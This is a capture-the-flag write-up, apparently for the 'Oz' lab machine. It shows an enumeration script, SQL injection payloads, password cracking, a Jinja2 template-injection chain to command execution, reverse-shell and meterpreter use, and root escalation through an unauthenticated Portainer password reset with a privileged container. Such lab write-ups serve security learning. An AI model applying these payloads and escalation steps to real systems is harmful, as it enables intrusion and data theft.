PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) | http-methods: |_ Supported Methods: HEAD OPTIONS GET POST |_http-server-header: Werkzeug/0.14.1 Python/2.7.14 |_http-title: OZ webapi |_http-trane-info: Problem with XML parsing of /evox/about 8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) |_http-favicon: Unknown favicon MD5: 2AD9B45644388EAAA41B8DA6614F8256 | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Werkzeug/0.14.1 Python/2.7.14 | http-title: GBR Support - Login |_Requested resource was http://10.10.10.96:8080/login |_http-trane-info: Problem with XML parsing of /evox/about
Pwn
On port 8080 we have a “GBR Support” portal with a login form. The login is not vulnerable to SQLi and with hydra we didn’t found a valid username/password tuple.
Using dirsearch on both ports is useless since there is a custom 404 page that will return a random string of random length.
Since the server support different HTTP methods we wrote a basic scanner using python requests library: we can abuse the OPTIONS method to read the Content-Length header. The webserver will answer with a code 200 and a Content-Length of 0 for an existing page.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests import multiprocessing as mp
url = "http://10.10.10.96/"
defcheck(token): r = requests.options(url + token) if int(r.headers["Content-Length"]) == 0: print("OPTIONS", token) r = requests.post(url + token)
if __name__ == '__main__': lines = open("/usr/share/dirbuster/directory-list-2.3-medium.txt").read().split("\n") with mp.Pool(processes=100) as p: p.map(check, lines)
Using this method we found a /users URI; we can now edit the script to add this path to the base URL but we got a lot of false positive so we changed from OPTIONS to GET.
1 2 3 4 5 6 7
http POST http://10.10.10.96/users HTTP/1.0 200 OK Content-Length: 24 Content-Type: text/html; charset=utf-8 Server: Werkzeug/0.14.1 Python/2.7.14
defcheck(token): url = "http://10.10.10.96/" r = requests.options(url + token) if int(r.headers["Content-Length"]) == 0: print("OPTIONS", token, r.text) url = "http://10.10.10.96/users/" r = requests.get(url + token) if r.text.strip()[:4] != "null": print("GET", token, r.text)
if __name__ == '__main__': lines = open("params.txt").read().split("\n") with mp.Pool(processes=100) as p: p.map(check, lines)
Now we got another URI part: /users/admin.
1 2 3 4 5 6 7 8 9
http GET "http://10.10.10.96/users/admin" HTTP/1.0 200 OK Content-Length: 21 Content-Type: application/json Server: Werkzeug/0.14.1 Python/2.7.14
{ "username": "admin" }
So we can now proceed to guess other URI parts or parameters using other HTTP methods.
After some fuzzing we hadn’t found anything useful to continue the enumeration phase but we saw that when inserting a ' in the URL the server returns a 505 error.
--- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://10.10.10.96:80/users/admin' AND 5246=5246-- SeOn Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: http://10.10.10.96:80/users/admin' AND SLEEP(5)-- BpAR
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: http://10.10.10.96:80/users/-2790' UNION ALL SELECT CONCAT(0x717a766271,0x6e6f776f6a784870634348434f575354716f556d647a59595a454b6d435343644c576e5547414449,0x7178787071)-- XCKA --- [00:11:44] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [00:11:44] [INFO] fetching database names [00:11:44] [INFO] used SQL query returns 4 entries [00:11:44] [INFO] starting 4 threads [00:11:44] [INFO] resumed: information_schema [00:11:44] [INFO] resumed: mysql [00:11:44] [INFO] resumed: ozdb [00:11:44] [INFO] resumed: performance_schema available databases [4]: [*] information_schema [*] mysql [*] ozdb [*] performance_schema
The ozdb is the DB used by the GBR application on port 8080; the webapp seems to be a simple ticketing system. Dumping all the content of this DB we got some username a password hashes, also with a bunch of tickets:
Database: ozdb Table: tickets_gbw [12 entries] +----+----------+--------------------------------------------------------------------------------------------------------------------------------+ | id | name | desc | +----+----------+--------------------------------------------------------------------------------------------------------------------------------+ | 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. | | 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. | | 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. | | 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= | | 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. | | 6 | GBR-5012 | I bet you won't read the next entry. | | 7 | GBR-7890 | HAHA! Made you look. | | 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. | | 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= | | 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt | | 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt | | 12 | GBR-9872 | db information loaded to ticket application for shared db access | +----+----------+--------------------------------------------------------------------------------------------------------------------------------+
V2hhdCBkaWQgeW91IGV4cGVjdD8= What did you expect?
WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= You're just trying too hard... nobody hides anything in base64 anymore... c'mon.
From sqlmap we also got root and dorthi MySQL password hashes:
We first used JtR to crack some user hashhes: john --format=PBKDF2-HMAC-SHA256-opencl --wordlist=rockyou.txt --rules hashes.txt and after a while we got the password for wizard.oz: wizardofoz22.
While JtR was runnig we retrieved, using sqlmap file read options, the SSH private key for user dorthi in /home/dorthi/.ssh/id_rsa:
The key is encrypted and unusable (we don’t even have a SSH service) so we can pipeline another JtR job for this key (ssh2john to get the hash).
From the service homepage we saw the same tickets dumped from the DB and a form to submit a new ticket.
Since the server is using Flask (with python2) we can try to inject some python code using a vulnerability called SSTI: Server-Side Template Injection. Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection. Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution, turning every vulnerable application into a potential pivot point.
First we have to identify which engine the web app is using (Mako, Jinja2, Twig, …): since Jinja2 is the most used one we can try to inject 4, if the application returns 4 we can exploit the application to run python code.
We must block the redirection after the POST request since the application will immediatly returns to the home without printing any response or adding any new ticket to the DB.
Running the script we got as response Name: 4 desc: desc! Now it’s time to inject a meterpreter web delivery script!
With config.items() in the injection point we got the application configuration:
And MySQL credential for dorthi on IP 10.100.10.4 but we can’t use the RUNCMD configuration to execute commands on the target system. Abusing the Python MRO (Method Resolution Order) we can list all objects in the current environment and search for something that will let us execute OS commands.
''.__class__.__mro__[2].__subclasses__(): lists all pyton imported classes
search for the index of a class that has the ability to import popen (or any other system method)
found Name: <class 'warnings.catch_warnings'> desc: desc at index 59
class warnings inherit the linecache method (''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals)
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values() and search for the os module; in this case is at index 12 (or -2)
craft the complete payload with popen function: ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('id').read()
Or just use tplmap to identify and exploit SSTI vulnerabilities :D.
Now that we have a RCE on the web application we have to find a way to inject a meterpreter stage: nc is installed on the system so we can first open a simple reverse shell and then use metasploit.
sequence = 40809:udp,50212:udp,46969:udp seq_timeout = 15 start_command = ufw allow from %IP% to any port 22 cmd_timeout = 10 stop_command = ufw delete allow from %IP% to any port 22 tcpflags = syn
From the database connection source code we found a password for dorthi user: N0Pl4c3L1keH0me. Using that password we can decrypt the private key with OpenSSL openssl rsa -in priv.key -out priv_free.key.
So now we have to knock on those port and connect as dorthi and get the first flag.
1 2 3 4 5
HOST=$1 shift for ARG in"$@"; do nmap -sU --max-retries 0 -p $ARG$HOST done
Poking around with the meterpreter session we also found the MySQL root password: SuP3rS3cr3tP@ss (root user is in DenyUsers in SSH and is not the same password for the system user).
sudo -l is suggesting that we need to abuse docker network command to escalate to root:
1 2 3 4 5 6
Matching Defaults entries for dorthi on Oz: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on Oz: (ALL) NOPASSWD: /usr/bin/docker network inspect * (ALL) NOPASSWD: /usr/bin/docker network ls
But on a quick scan on root running processes we saw that Portainer was alive.
Portainer is a web UI (with exposed API) that let you manage all your docker environment.
Portainer’s changelog is useful to search for some vulnerabilities: https://allmychanges.com/p/javascript/portainer/. The version used in this box is the last vulnerable to a wrong implementation of the auth API that let an attacker change the admin password without authentication:
Fix a security issue where it was possible to set the admin password multiple times: #493
1 2 3 4 5 6 7 8
Steps to reproduce the issue:
Run portainer POST to /api/users/admin/init with json [password: mypassword] login with this password POST to /api/users/admin/init with json [password: myotherpassword] without Authorization header Login with mypassword is impossible Login with myotherpassword is possible
We first need to access the portainer’s container so with SSH we port-forwarded the IP 172.17.0.2 and the port 9000 to our localhost.
Since portainer app can manage all docker instances and images through the docker host socket we have the ability to create a cointainer that mount the /root folder and read the flag.
Select Containers in the sidebar.
Pick a pulled image from other containers: in this case python:2.7-alpine from tix-app cointainer.
Add Container, insert a name (dodock) and the image python:2.7-alpine.
On entry point select python and console Interactive.
On Volume now we need to mount the /root host folder into the container.
Select Privileged Mode on Security/Host tab.
Create the container.
Now from the dashboard we can see our running container; in details view we can also interact with the system using Console to spawn a /bin/sh shell and read the flag.